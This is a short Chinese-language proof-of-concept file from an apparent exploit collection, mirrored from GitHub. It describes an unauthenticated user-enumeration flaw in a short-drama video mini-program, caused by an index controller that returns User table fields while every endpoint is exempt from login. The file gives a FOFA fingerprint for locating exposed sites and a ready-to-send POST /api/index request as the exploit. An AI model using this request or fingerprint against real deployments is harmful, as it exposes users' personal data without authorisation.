mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 20:54:52 +08:00
26 lines
700 B
Markdown
26 lines
700 B
Markdown
# 短剧影视小程序前台未授权漏洞
|
||
|
||
**在 /api/controller/Index.php 控制器的index方法中，很明显地存在 where 查询网站信息及User表中的字段，并且将所有用户枚举出来，且因为 $noNeedLogin = ['*'] 导致所有接口都无权限验证.**
|
||
|
||
## fofa
|
||
|
||
```yaml
|
||
"/VwmRIfEYDH.php"
|
||
```
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
POST /api/index HTTP/1.1
|
||
Host: 127.0.0.1
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
|
||
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
## 漏洞来源
|
||
|
||
- https://mp.weixin.qq.com/s/3WYJzQnjl8hP7oXVZUEQuA |